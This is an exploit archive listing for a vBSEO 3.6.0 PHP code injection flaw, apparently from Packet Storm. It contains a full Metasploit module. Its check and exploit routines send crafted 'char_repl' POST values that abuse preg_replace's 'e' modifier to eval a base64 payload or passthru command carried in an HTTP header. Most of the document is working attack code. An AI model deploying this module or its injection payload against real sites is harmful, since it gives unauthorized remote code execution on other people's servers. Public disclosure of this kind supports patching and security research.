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vBSEO 3.6.0 PHP Code Injection

vBSEO 3.6.0 PHP Code Injection
Posted Jan 31, 2012
Authored by EgiX | Site metasploit.com

This Metasploit module exploits a vulnerability in the 'proc_deutf()' function defined in /includes/functions_vbseocp_abstract.php in vBSEO versions 3.6.0 and below. User input passed through 'char_repl' POST parameter is not properly sanitized before being used in a call to preg_replace() function which uses the 'e' modifier. This can be exploited to inject and execute arbitrary code leveraging the PHP's complex curly syntax.

tags | exploit, arbitrary, php
MD5 | 43db8b7017e615d69d61ee087f3fd0fb

vBSEO 3.6.0 PHP Code Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability in the 'proc_deutf()' function
defined in /includes/functions_vbseocp_abstract.php. User input passed through
'char_repl' POST parameter isn't properly sanitized before being used in a call
to preg_replace() function which uses the 'e' modifier. This can be exploited to
inject and execute arbitrary code leveraging the PHP's complex curly syntax.
},
'Author' => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
'License' => MSF_LICENSE,
'References' =>
[
['BID', '51647'],
['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
['URL', 'http://www.exploit-db.com/exploits/18424/']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 8190,
'Keys' => ['php'],
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 23 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
OptString.new('CMD', [false, "Command to execute"])
], self.class)
end

def check
flag = rand_text_alpha(rand(10)+10)
data = "char_repl='{${print(#{flag})}}'=>"

uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'vbseocp.php'

response = send_request_cgi({
'method' => "POST",
'uri' => uri,
'data' => "#{data}"
})

if response.code == 200 and response.body =~ /#{flag}/
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
if datastore['CMD']
p = "passthru(\"%s\");" % datastore['CMD']
p = Rex::Text.encode_base64(p)
else
p = Rex::Text.encode_base64(payload.encoded)
end

data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'vbseocp.php'

response = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'data' => data,
'headers' => { 'Code' => p }
})

vprint_status(response.body)
end

end

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